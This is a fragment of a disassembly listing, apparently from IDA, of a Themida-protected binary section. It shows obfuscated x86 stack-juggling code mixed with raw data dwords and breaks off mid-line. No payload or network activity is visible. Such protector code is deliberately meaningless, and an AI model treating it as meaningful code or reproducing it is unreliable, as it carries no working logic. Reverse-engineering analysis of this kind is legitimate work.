0C2010802h, 56A0C281h, 0EA810802h dd 70757EC5h, 337468h, 24348900h, 6C8EBB53h, 0E3C16036h dd 81685006h, 89000029h, 2CB9240Ch, 8136A640h, 7B7E7BE1h dd 4E1C161h, 180AC181h, 0C8897071h, 1CA8E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F63A: ; CODE XREF: Themida_:0055E866j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_55D1BA ; --------------------------------------------------------------------------- dw 5158h dd 0AD2B08B9h, 8EC4BD6Dh, 0CD29AF67h, 1C3CE959h, 34FF0000h dd 89505B24h, 0E4B9E9E0h, 0DF01FFFFh, 2A93E95Bh, 20590000h dd 24148BF0h, 0E904EC83h, 0FFFFC38Dh, 1769C681h, 0DEF7620Bh dd 0E6C1D6F7h, 0E9DEF704h, 0FFFFEA7Ah, 2454F652h, 7E95A01h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F6A7: ; CODE XREF: Themida_:00556C8Ej mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ebp push ecx jmp loc_560795 ; --------------------------------------------------------------------------- db 0C1h dd 0FFE904E2h, 89FFFFF2h, 9EE9241Ch, 55FFFF8Ah, 0FFE4CAE9h dd 24048FFFh, 4B850h, 0FCE90000h, 52FFFFC7h, 4BAh, 5AD50100h dd 4C581h, 2C330000h, 0C3C0E924h, 0DF29FFFFh, 6F0DE95Bh dd 29BDFFFFh, 4D4B4433h, 56DDE581h, 0E5C10706h, 81DDF704h dd 0DFDA04F5h, 5DEA29FBh, 148BD601h, 4C48324h, 0FFCF22E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F725: ; CODE XREF: Themida_:00562183j sub esi, 37CC5798h push edx jmp loc_559AF0 ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 1Ch dd 0B5000036h, 0BAEA803Dh, 5BE9EA00h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F743: ; CODE XREF: Themida_:0055BEB8j add ecx, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_554A06 ; --------------------------------------------------------------------------- loc_55F754: ; CODE XREF: Themida_:0055A11Aj push edi mov edi, esp add edi, 4 sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov [esp], edx mov dl, bh push ebx mov bh, dl jmp loc_563C6E ; --------------------------------------------------------------------------- loc_55F777: ; CODE XREF: Themida_:0055CF19j sub ecx, esi pop esi sub esp, 4 mov [esp], ecx sub dword ptr [esp], 405B0428h pop ebp add ebp, 405B0428h pop ecx jmp loc_558EB3 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 0A40E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F7A2: ; CODE XREF: Themida_:00563240j pop edi xchg eax, [esp] mov esp, [esp] sub esp, 4 jmp loc_55E620 ; --------------------------------------------------------------------------- db 5Ah, 83h, 0C4h dd 2CB95104h, 56000000h, 6D030CBEh, 43E98146h, 1560535h dd 43C181F1h, 0FF560535h, 505E2434h, 5551E089h, 0FF2FCCE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F7DD: ; CODE XREF: Themida_:00559AF1j mov ecx, 45AE6228h mov edx, 744D5EABh xor edx, ecx pop ecx xor edx, 67901294h or edx, 571C18C5h sub edx, 4D7B6BB9h not edx sub edx, 15A21F0Dh add edx, 7CCB0292h sub esi, edx pop edx add esi, edi add esi, 5D251066h jmp loc_559C63 ; --------------------------------------------------------------------------- loc_55F81A: ; CODE XREF: Themida_:00557A72j mov ebx, 2C935ED3h xor esi, ebx pop ebx sub ebx, esi pop esi and ebx, 1D9C0FD1h jmp loc_55304B ; --------------------------------------------------------------------------- dd 6622C681h, 0F089F06Ch, 5E2434FFh, 4C481h, 0C3010000h dd 0F0E95758h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F84B: ; CODE XREF: Themida_:0055CB2Dj add ebx, 1480411Ch shl ebx, 5 shr ebx, 4 shr ebx, 3 and ebx, 2CB71CCAh sub ebx, 0A40044h mov eax, ebx pop ebx sub ebp, eax mov eax, [esp] add esp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push esi jmp loc_561387 ; --------------------------------------------------------------------------- dw 0D1B9h dd 0D10F885Fh, 41E981E9h, 8135844Ah, 0ED0055F1h, 7CC98141h dd 817D2672h, 0F6F7FAF1h, 59CB01FFh, 0FF9AE1E9h, 4C181FFh dd 81000000h, 4C1h, 240C8700h, 74ED815Ch, 119011Bh, 8BB951F5h dd 0C119B751h, 0C18104E9h, 1765A65Ch, 5E59CD01h, 2C581h dd 2C330000h, 242C3124h, 8B242C33h, 0F3E92424h, 0FF00004Fh dd 5B042474h, 5C24048Fh, 0E9241C87h, 0FFFF283Ah, 31C9F581h dd 66E91CF3h, 68FFFF39h, 70C3h, 0FF2258E9h, 99F281FFh dd 0E931D44Bh, 0FFFF9816h, 4C481h, 0EB810000h, 52513DA7h dd 15BD989h, 240C8BCDh, 8704C483h, 248B242Ch, 7FC8E924h dd 0E6C1FFFFh, 0C4C68106h, 292DE2FEh, 24348BF7h, 8704C483h dd 895C243Ch, 4832424h, 48F0424h, 0A6E95624h, 0B9FFFFDFh dd 4, 0B6E9CE29h, 54FFFF63h, 0E92434FFh, 0FFFF5FB0h, 4C481h dd 34680000h, 89000025h, 4B82404h, 0E9000000h, 326h dword_55F98C dd 24048B66h, 4EC81h, 4890000h, 57E08924h, 0C85EFEBFh ; DATA XREF: Themida_:00550D14o dd 0EE6E912h db 2 dup(0) word_55F9A6 dw 8B66h ; DATA XREF: Themida_:00550C90o dd 54502404h, 6124E9h db 0 byte_55F9B1 db 0FFh, 77h, 38h ; DATA XREF: Themida_:00550E44o dd 7ACB68h, 241C8900h, 0C22E7DBBh, 8349E969h, 1433FFFFh dd 14895C24h, 348E6824h, 8F540000h, 0EC812404h, 4, 0BF243C89h dd 4, 4247C01h, 5F2434FFh, 0FF727BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F9F1: ; CODE XREF: Themida_:00559033j xor edx, 613006F8h sub edx, 77030709h shr edx, 2 add edx, 823BB6Fh mov eax, edx mov edx, [esp] add esp, 4 jmp loc_558DF7 ; --------------------------------------------------------------------------- aI4BCC_q6S db '┴4$│,$зc^c_Q╧6~▒',0 db 81h dd 0FC02B1E9h, 0ABE98174h, 1283717h, 555E59CFh, 47FE68h dd 241C8900h, 130DC368h, 2D45E903h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FA4A: ; CODE XREF: Themida_:0055CB1Aj pop esp jmp loc_556371 ; --------------------------------------------------------------------------- dd 0E9240487h, 0FFFF18D5h, 2FB4BB53h, 4B96673h, 29DF5690h dd 0E9D15BD9h, 706FE181h, 82E956B4h, 0B7000032h, 0E9FD30E6h dd 51C6h dword_55FA7C dd 0CCE9E9ACh ; DATA XREF: Themida_:00550ED8o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FA82: ; CODE XREF: Themida_:00557066j pop ebp pop ecx push 70E2h mov [esp], ebx jmp loc_562D98 ; --------------------------------------------------------------------------- aSiHF db 'S┬вhлf',0 dd 24148900h, 0FFB2F4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FAA1: ; CODE XREF: Themida_:00556765j push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx push edx mov edx, 6E3D1F24h jmp loc_55DAB2 ; --------------------------------------------------------------------------- loc_55FABF: ; CODE XREF: Themida_:00551218j shr edi, 8 shl edi, 3 xor edi, 9CF0B8h and eax, edi push dword ptr [esp] pop edi jmp loc_551030 ; --------------------------------------------------------------------------- dw 8953h dd 0EC8356E3h, 243C8904h, 0FF6099E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FAE5: ; CODE XREF: Themida_:0055D900j mov esp, [esp] jmp loc_55D61E ; --------------------------------------------------------------------------- db 89h, 0C1h, 58h dd 29036853h, 0E95B1DC5h, 0FFFFBE35h, 3905D001h, 5A29C229h dd 0BF575352h, 624746EBh, 239050BBh, 0EC381C5h, 2919E149h dd 0CAADE9FBh, 0EE81FFFFh, 0D81C94BAh, 435EF301h, 0EBC1DBF7h dd 0EBC38104h, 0E9F75E24h, 0FFFF4BE0h, 33243431h, 248B2434h dd 0C896624h, 1415E924h, 0CE01FFFFh db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx jmp loc_55E63F ; --------------------------------------------------------------------------- db 81h dd 3A35DEC5h, 0ADCDE929h, 0EA81FFFFh, 5088730Eh, 1433585Fh dd 24143124h, 8B241433h, 4D32424h, 34E99C24h, 5A000003h dd 31240433h, 4332404h, 4895C24h, 2474FF24h, 24048B04h dd 8F04C483h, 0E95C2404h, 0FFFF9815h, 42474FFh, 24048F5Bh dd 1A42E9h db 0 ; --------------------------------------------------------------------------- loc_55FBCD: ; CODE XREF: Themida_:005582B8j push 4A051E97h mov eax, [esp] add esp, 4 not eax jmp loc_551402 ; --------------------------------------------------------------------------- loc_55FBDF: ; CODE XREF: Themida_:0055D0DAj push ecx push esp pop ecx jmp loc_55B3C9 ; --------------------------------------------------------------------------- db 4Bh dd 0E33BF381h, 0DBE9B045h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FBF3: ; CODE XREF: Themida_:0055B00Bj add ebp, 4 push esi jmp loc_56597A ; --------------------------------------------------------------------------- db 81h dd 0E5729CFh, 4E7C13Ah, 1E2EE9h db 0 ; --------------------------------------------------------------------------- loc_55FC0D: ; CODE XREF: Themida_:00563F35j mov esp, [esp] mov [esp], ebx push edx mov edx, 598136E0h sub edx, 26B5C870h sub edx, 1A75328Ch sub edx, 0A17F0C5Fh mov ebx, edx jmp loc_565A1C ; --------------------------------------------------------------------------- loc_55FC32: ; CODE XREF: Themida_:00551E17j pop eax sub esp, 4 mov [esp], ecx push esp mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, 4 push edx mov edx, 12C2173Dh inc edx jmp loc_563C90 ; --------------------------------------------------------------------------- loc_55FC5A: ; CODE XREF: Themida_:00562E42j push edi mov edi, esp add edi, 4 push eax mov eax, 4 add edi, eax pop eax xchg edi, [esp] mov esp, [esp] jmp loc_55676A ; --------------------------------------------------------------------------- db 87h dd 248B241Ch, 24048F24h, 0FF1556E9h db 0FFh byte_55FC85 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00550CD0o dd 419589Dh, 0CCE99C24h db 12h, 2 dup(0FFh) byte_55FC93 db 66h ; DATA XREF: Themida_:00550E50o dd 6824048Bh, 32C6h, 0E9241C89h, 434Bh, 4C281h, 0C2830000h dd 322BE904h, 0C6010000h, 74FF5658h, 0E95E0424h, 3A40h dd 0FF3DC680h, 1C8B2434h, 4C48124h, 83000000h, 0B8E904C4h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FCD7: ; CODE XREF: Themida_:005629BDj pop ebp xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_556762 ; --------------------------------------------------------------------------- loc_55FCE6: ; CODE XREF: Themida_:00557938j push edi mov edi, 5AFD4578h add edi, 0BDC1D77h jmp loc_563EA2 ; --------------------------------------------------------------------------- db 81h dd 0C4299EE9h, 4E9C137h, 8106E9C1h, 37B533F1h, 59CB0100h dd 4C381h, 1C870000h, 0C1815C24h, 0ABF858AAh, 383668h dd 252CE900h, 835CFFFFh, 1C3302C3h, 241C3124h, 8B241C33h dd 1662424h, 0E99C2404h, 0FFFF121Fh ; --------------------------------------------------------------------------- loc_55FD40: ; CODE XREF: Themida_:0055DB67j not dword ptr [esp] pop ecx push eax push ecx pop eax jmp loc_5598CE ; --------------------------------------------------------------------------- dd 390EB81h, 0ED81169Bh, 493C2B94h, 0C581DD01h, 493C2B94h dd 0E92434FFh, 1B3Bh ; --------------------------------------------------------------------------- loc_55FD68: ; CODE XREF: Themida_:0055883Dj xchg eax, [esp] pop esp push eax push edi push ebx push 12953684h jmp loc_55BA50 ; --------------------------------------------------------------------------- loc_55FD79: ; CODE XREF: Themida_:00553B14j sub ebx, ebp mov ebp, [esp] push edi jmp loc_55A656 ; --------------------------------------------------------------------------- dd 8159CA31h, 0FEECE8C2h, 8BD12915h, 0C4812414h, 4, 21C6BB53h dd 0EB8169AFh, 283B203Dh, 4CFEE955h, 15BFFFFh, 0EAEE81CEh dd 8B6EFB7Bh, 0C481240Ch, 4, 4AA368h, 24148900h, 2BAh dd 5AD60100h, 31243433h, 34332434h, 24248B24h, 0FFCE90E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FDDD: ; CODE XREF: Themida_:00555902j xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi push esp pop esi push ebx mov ebx, 4 jmp loc_55CA89 ; --------------------------------------------------------------------------- dw 0DEF7h dd 0E957E6D1h, 0FFFF435Fh ; --------------------------------------------------------------------------- loc_55FE00: ; CODE XREF: Themida_:0055B05Cj add ecx, 4 jmp loc_5604B3 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF114Fh ; --------------------------------------------------------------------------- loc_55FE10: ; CODE XREF: Themida_:00561C4Aj mov [esp], edx jmp loc_55E1D3 ; --------------------------------------------------------------------------- dd 5604C483h, 0FFFFFFBEh, 46AEE9FFh, 5366FFFFh, 0D9202AB3h dd 0FFA3AAE9h, 0EC8155FFh, 4, 68241489h, 29904749h, 0E2CA815Ah dd 81419C19h, 5B0D23EAh, 5AD58916h, 0FFC395E9h, 242C89FFh dd 78F368h, 24248900h, 4240481h, 0FF000000h, 565D2434h dd 0C681E689h, 4, 4C681h, 34870000h, 51535C24h, 4607F2B9h dd 0E9E9D11Fh, 0FFFF44C4h ; --------------------------------------------------------------------------- loc_55FE8C: ; CODE XREF: Themida_:00564DCAj push 0 sub [esp], eax pop eax xor eax, 98C4C2E8h sub [esp+8], eax mov eax, [esp] jmp loc_557815 ; --------------------------------------------------------------------------- dw 0E380h dd 4504E994h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FEAE: ; CODE XREF: Themida_:0055E8EBj add [esp+4], ecx jmp loc_55362D ; --------------------------------------------------------------------------- db 29h dd 8DE95AD0h, 81FFFF1Dh, 4C4h, 0E7895700h, 4C781h, 0C4E90000h dd 0E9000036h, 0FFFF1087h, 0EA81EA01h, 459C320Ah, 0FF65BCE9h dd 0EDF581FFh, 0E9186C00h, 0FFFF3303h, 6BF78147h, 0E925AF39h dd 0FFFF461Fh ; --------------------------------------------------------------------------- loc_55FEFC: ; CODE XREF: Themida_:005586A6j add edi, 335464D5h pop esi push ebp mov ebp, 4 add edi, ebp pop ebp jmp loc_55E465 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 5324248Bh, 0C4168h, 24248900h, 4BE56h, 74010000h, 348B0424h dd 4C48324h, 4BF575Bh, 1000000h, 39B8E9FBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FF3E: ; CODE XREF: Themida_:00558249j add ebx, 6763B9Fh shl ebx, 5 dec ebx push 460Fh jmp loc_562537 ; --------------------------------------------------------------------------- loc_55FF52: ; CODE XREF: Themida_:005657C6j xor edx, ecx pop ecx xor edx, 5BBE6F33h add esi, edx pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_551FD2 ; --------------------------------------------------------------------------- db 31h dd 243C8BF8h, 0FF49B1E9h, 0E928B0FFh, 0FFFF73A3h, 2904C483h dd 243C8BFBh, 4C481h, 0ED810000h, 475939E1h, 0BE9DD29h dd 2DFFFFDBh, 5F633F5Fh, 0FF86AFE9h, 1EC7BDFFh, 0E9530EE1h dd 0FFFF9A07h, 895BDF01h, 0E20AE9F9h, 0B951FFFFh, 3CC405C0h dd 2753ED81h, 0CFE94115h, 5EFFFF22h, 4247C29h, 4244481h dd 320C2B5Ah, 7D4BB951h, 0C149494Eh, 505303E1h, 9C4697B8h dd 58C38956h, 0BF57D3F7h, 75022D0Eh, 0E9E9FB31h db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FFFB: ; CODE XREF: Themida_:0056156Bj not esi loc_55FFFD: ; DATA XREF: Themida_:00573E40o jmp loc_564957 ; --------------------------------------------------------------------------- loc_560002: ; CODE XREF: Themida_:005578AFj add ecx, esi mov esi, [esp] add esp, 4 push edx mov edx, esp jmp loc_563E13 ; --------------------------------------------------------------------------- dw 2BFh dd 0C104255Fh, 554702E7h, 41DAE956h, 685EFFFFh, 689Ah dd 68243489h, 759D167Ch, 18CBE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_560036: ; CODE XREF: Themida_:0055384Dj add dword ptr [esp+8], 7B5E5904h mov esi, [esp] add esp, 4 add [esp+4], esi add dword ptr [esp+4], 45C8470Eh mov esi, [esp] jmp loc_564342 ; --------------------------------------------------------------------------- db 21h dd 0C7815AD7h, 0F3E6FF64h, 5FCAC281h, 0FA015913h, 5FCAEA81h dd 565F5913h, 4BEh, 0D8C28100h, 296F8602h, 0B499E9F2h dd 1C87FFFFh, 43E95C24h, 5CFFFFBBh, 0FFC9BDE9h, 51F281FFh dd 89F361C7h, 3CC8E9D0h, 9C500000h, 0FF0EB6E9h, 0BFF681FFh dd 2141381Dh, 0D3875EF3h, 0D387D2F7h, 0FFA32BE9h, 243433FFh dd 33243431h, 0D8E92434h, 5EFFFFA1h, 0DFE9F829h, 0BFFFFFB6h dd 38CC0D4Ah, 895FF901h, 0EFC159CFh, 81DFF704h, 52262CC7h dd 8BFE0141h, 0C481243Ch, 4, 1501F681h, 0F6817E43h, 505472E8h dd 7A5ACE81h, 0EE81056Dh, 72585C47h, 0FF2163E9h, 0C0B60FFFh dd 24148B66h, 148B5452h, 0E0895024h, 405h, 4C08300h, 0FF109FE9h dd 0F3C281FFh, 0E952361Dh, 4337h, 5FDBE981h, 565A64E4h dd 0B6E9h db 0 ; --------------------------------------------------------------------------- loc_560145: ; CODE XREF: Themida_:00559F5Dj push edi mov edi, esp push ecx mov ecx, 4 jmp loc_557B1E ; --------------------------------------------------------------------------- db 29h dd 3FE95AD3h, 5AFFFFE8h, 5C24048Fh, 5A040804h, 0BDE9D800h dd 0C000002Bh, 84E904E9h, 9FFFF1Fh, 0C1815AD1h, 2FC02C6Dh dd 5208E1C1h, 3D7582BAh, 5AD1294Ch, 0E959CF31h, 0FFFF446Fh ; --------------------------------------------------------------------------- loc_560190: ; CODE XREF: Themida_:0056597Bj mov ebp, 3FF4470Dh shr ebp, 4 add ebp, 1C014E2h shl ebp, 7 xor ebp, 0DFACA904h push ebp sub dword ptr [esp], 28E048CEh mov esi, [esp] add esp, 4 jmp loc_559C74 ; --------------------------------------------------------------------------- db 81h, 0F3h, 1Bh dd 81153F15h, 1D4D43E3h, 61B95123h, 81766115h, 0A07588C3h dd 81CB2953h, 0A07588EBh, 4226E953h, 8F540000h, 55522404h dd 4BDh, 5DEA8900h, 4245401h, 3BE95E5Ah, 0BE00002Dh, 78F62921h dd 2923F681h, 0C18178F6h, 1DE90456h, 0E981F101h, 1DE90456h dd 0FFCACDE9h, 532BB5FFh, 0DD004CB3h, 0C2CD805Bh, 800AED80h dd 0EE28C3C6h, 0FF3076E9h db 0FFh byte_560231 db 0F7h, 1Ch, 24h ; DATA XREF: Themida_:00550CF0o dd 0D25E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56023A: ; CODE XREF: Themida_:0055871Bj sub eax, ebx pop ebx jmp loc_557117 ; --------------------------------------------------------------------------- loc_560242: ; CODE XREF: Themida_:00559952j add [esp+4], ecx sub dword ptr [esp+4], 207B3CEEh sub dword ptr [esp+4], 0ED82EA4h pop ecx mov eax, [esp] push 58C4h mov [esp], ebx mov ebx, esp add ebx, 4 push ecx push 75F0h mov [esp], edx push 2CA34319h pop edx push eax mov eax, 5DAE085Bh and edx, eax jmp loc_5623C7 ; --------------------------------------------------------------------------- dw 0EB81h dd 59A3339h, 0AF4EB81h, 0C381632Fh, 7CC73A41h, 5300EB81h dd 525562B2h, 0FFEB69E9h, 243487FFh, 489665Ch, 51B15124h dd 80C5C980h, 0D1F648E1h, 0F6E9D9F6h, 8BFFFF69h, 0C483240Ch dd 94E95B04h db 0Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5602CB: ; CODE XREF: Themida_:00559D5Dj sub bl, dl sub bl, 6Eh jmp loc_558262 ; --------------------------------------------------------------------------- loc_5602D5: ; CODE XREF: Themida_:00563582j pop esp loc_5602D6: ; CODE XREF: Themida_:loc_557B47j ; Themida_:005609F4j push dword ptr [edi+24h] push dword ptr [esp] push dword ptr [esp] jmp loc_5633CA ; --------------------------------------------------------------------------- loc_5602E4: ; CODE XREF: Themida_:0055EBD2j add dword ptr [esp], 4 pop edi push ebx mov ebx, 1D887352h jmp loc_560775 ; --------------------------------------------------------------------------- loc_5602F4: ; CODE XREF: Themida_:0055A9B6j dec edx xor edx, 811092CEh mov edi, edx pop edx sub ebx, edi pop edi mov ecx, ebx jmp loc_55ADFE ; --------------------------------------------------------------------------- dd 0E9C4E480h, 25FAh, 4C48158h, 80000000h, 0EE800FC6h dd 5F68097h, 0E989F680h, 0FFFFB56Bh, 0BE243489h, 4, 74C9C381h dd 6E9449Ah, 8BFFFF0Dh, 0C481242Ch, 4, 4C581h, 0B9E90000h dd 33FFFF54h, 2C31242Ch, 242C3324h, 8124248Bh, 4ECh, 243C8900h dd 1F0E68h, 24348900h, 547EE9h, 243C8900h, 2E242C81h, 5E604A19h dd 1C81E9h, 24148900h, 0C281E289h, 4, 4EC8155h, 89000000h dd 30BF243Ch, 0BD112D3Fh, 15CF2AEAh, 3C8BFD01h, 8D53E924h dd 0F181FFFFh, 43CC47C4h, 0E959CD31h, 0FFFFE8B1h, 6E07B850h dd 0D7E9191Fh, 5BFFFF72h, 80F3B652h, 0DEF620CEh, 0E6C0EED0h dd 8DEE8003h, 434E9h, 4B95100h, 81000000h, 0E42E9DC2h dd 81CA010Dh, 0E42E9DEAh, 1487590Dh, 5603E924h, 7805FFFFh dd 292C0C19h, 19782DF8h, 0ED682C0Ch, 0E900004Fh, 4BAAh ; --------------------------------------------------------------------------- loc_56040C: ; CODE XREF: Themida_:0055E17Bj add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp and ecx, eax push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_563ECD ; --------------------------------------------------------------------------- dw 0D901h dd 51241C8Bh, 1C1DE9h, 8BEA2100h, 0C483242Ch, 0AAE95504h dd 0E9FFFF5Fh, 0FFFF0B13h, 2424D25Ch, 6D45E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560456: ; CODE XREF: Themida_:00553752j mov eax, 4 add ebx, eax pop eax push esi mov esi, 4 add ebx, esi pop esi xchg ebx, [esp] pop esp push ebx push 36A84845h pop ebx push eax push 3C2F2A20h pop eax mov dword ptr [edx+30h], 0A876265h push ecx jmp loc_560963 ; --------------------------------------------------------------------------- loc_560486: ; CODE XREF: Themida_:00554144j mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub esp, 4 mov [esp], ebp mov ebp, 50316E03h sub edx, ebp mov ebp, [esp] jmp loc_553682 ; --------------------------------------------------------------------------- loc_5604B3: ; CODE XREF: Themida_:0055FE06j xchg ecx, [esp] jmp loc_55E6F4 ; --------------------------------------------------------------------------- loc_5604BB: ; CODE XREF: Themida_:00564A7Ej shl eax, 8 xor eax, 0B05979h xor eax, edx xor edx, eax jmp loc_554057 ; --------------------------------------------------------------------------- dd 6C2FA72Dh, 56C8016Ah, 6C2FA7BEh, 44B1E96Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5604DE: ; CODE XREF: Themida_:00565854j mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 push esi jmp loc_55A5D0 ; --------------------------------------------------------------------------- loc_5604F3: ; CODE XREF: Themida_:00556FF8j mov edx, 4D0133B0h mov edi, edx pop edx mov ebp, edi pop edi neg ebp sub esp, 4 mov [esp], edi mov edi, 2F832CF5h neg edi jmp loc_5514EA ; --------------------------------------------------------------------------- dw 0CB31h dd 592434FFh, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 7E6EC281h dd 0C281516Fh, 6E9D7AE4h, 0EA81DA01h, 6E9D7AE4h, 7E6EBD55h dd 0EA29516Fh, 0FF29BFE9h, 4C481FFh, 0E9000000h, 0FFFF65E7h dd 7E2C15Eh, 5503E942h, 0D3F70000h, 0A5FAEB81h, 6C811CA0h dd 4A840424h, 5C01721Dh, 44810424h, 4A840424h, 34FF721Dh dd 0E9575B24h, 0FFFF5E5Ah, 89243C89h, 4C781E7h, 68000000h dd 63A6h, 0BB241C89h, 2, 0FF3EF81h, 89534828h, 0D1E951E3h dd 5DFFFFE0h, 0FF3828E9h, 68E981FFh, 0E97C610Dh, 4309h dd 0B8E98AB6h, 8300004Fh, 48702C0h, 34BBE924h, 0E0BE0000h dd 50788F16h, 0FF5A41E9h db 0FFh ; --------------------------------------------------------------------------- loc_5605D9: ; CODE XREF: Themida_:00558C25j inc edx not edx sub edx, 0FA04E348h or ecx, edx pop edx jmp loc_5562E1 ; --------------------------------------------------------------------------- dd offset dword_445750+5C18h dw 8900h dd 0E6892434h, 4C681h, 0C6810000h, 2, 0E9243487h, 0FFFF7999h dd 66D82966h, 8B0FA02Dh, 0C481241Ch, 4, 0C2BD6655h, 0C5816639h dd 5660CA7h, 92E95693h db 71h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56062B: ; CODE XREF: Themida_:005657B0j shr edi, 8 push 0 sub [esp], edi pop edi add edi, 270C3B90h sub esp, 4 mov [esp], edi push ecx mov ecx, 350D0EA6h sub dword ptr [esp+4], 4E5A7E28h sub dword ptr [esp+4], 19E10148h add [esp+4], ecx add dword ptr [esp+4], 19E10148h jmp loc_554AC5 ; --------------------------------------------------------------------------- dw 0C801h aYh6 db 'Yh#6',0 align 2 dw 3C89h dd 1294BF24h, 0CF811C46h, 378F036Ah, 4CCF814Fh, 0F742830Fh dd 1C781DFh, 17FCF20h, 0FF505FF8h, 58042474h, 0FF57E2E9h db 0FFh ; --------------------------------------------------------------------------- loc_56069D: ; CODE XREF: Themida_:0055BDA5j add ecx, ebp pop ebp add ecx, esi sub ecx, 3672381Ch jmp loc_551505 ; --------------------------------------------------------------------------- db 81h, 0CFh, 9Bh dd 0E9142D3Ah, 4475h, 875EF301h, 23E9241Ch, 0C0FFFF59h dd 0F48005E4h, 68C38093h, 0EB80E300h, 0E9505868h, 0FFFFBB2Dh dd 8124348Bh, 4C4h, 0F5E95600h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5606E7: ; CODE XREF: Themida_:00558711j pop esp mov [esp], ebx mov ebx, esp jmp loc_55D5AE ; --------------------------------------------------------------------------- dw 815Eh dd 44364FF6h, 0F681466Ch, 13A81B9Dh, 0FF4121E9h db 0FFh byte_560705 db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:00550E98o dd 0B7536652h, 66FE88CBh, 83241C8Bh, 0F68002C4h, 937CE981h dd 1205FFFFh, 0E9201696h, 0FFFF6001h, 59C8885Ah, 2826C380h dd 26EB80C3h, 24048B66h, 2C481h, 0C3280000h, 0A5B35352h dd 34FFDE88h, 0C4815B24h, 4, 0CE80D6F6h, 3EEC0FAh, 50C0C680h dd 0C3284FB0h, 3803E958h, 815F0000h, 4ECh, 24348900h, 0FFC1C0E9h db 0FFh ; --------------------------------------------------------------------------- loc_560775: ; CODE XREF: Themida_:005602EFj or ebx, 1DA56CF5h jmp loc_55EE52 ; --------------------------------------------------------------------------- loc_560780: ; CODE XREF: Themida_:0055A3A7j mov [esp], ebx push 1Ch jmp loc_55F0DC ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FF2AB2E9h db 0FFh ; --------------------------------------------------------------------------- loc_560795: ; CODE XREF: Themida_:0055F6B6j mov ecx, esp push edx jmp loc_5524A1 ; --------------------------------------------------------------------------- db 81h, 0F3h, 29h dd 29C04361h, 0E8295BD8h, 23344A05h, 5AAB2D1Dh, 0BF57352Bh dd 5C170978h, 2EAE9h, 48B6600h, 6EE96824h, 0ADE90000h dd 0F6000043h, 0C8B2414h, 4C48324h, 89E95053h, 1000017h dd 160DE9DFh, 15BFFFFh, 241C8BDAh, 4C481h, 48E90000h, 81FFFF96h dd 0F61968EDh, 86BB534Ch, 211AFB07h, 0ED815BDDh, 0AFC39799h dd 0FFD3C2E9h, 0E9BD04FFh, 762h, 0E9D3F766h, 2F43h ; --------------------------------------------------------------------------- loc_56081C: ; CODE XREF: Themida_:00562DECj pop eax jmp loc_562ABA ; --------------------------------------------------------------------------- loc_560822: ; CODE XREF: Themida_:0055A805j mov [esp], esi mov esi, 3B161632h jmp loc_561E70 ; --------------------------------------------------------------------------- byte_56082F db 0FFh ; DATA XREF: Themida_:00550DFCo dd 669D1C77h, 241CD359h, 721E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56083E: ; CODE XREF: Themida_:0055A281j mov esp, [esp] jmp loc_565823 ; --------------------------------------------------------------------------- dw 47BFh dd 0E9593D1Fh, 0FFFFBB0Dh, 0E903E0C1h, 0FFFFE1B3h, 0FF0702E9h db 0FFh byte_56085D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00550E94o dd 5D545524h, 4BA52h, 0ED810000h, 22EF0F4Bh, 66E9D501h dd 5FFFFF5Eh, 0FFFDEDE9h, 242C89FFh, 905EF4BDh, 0E9E8015Ch dd 0FFFF897Bh, 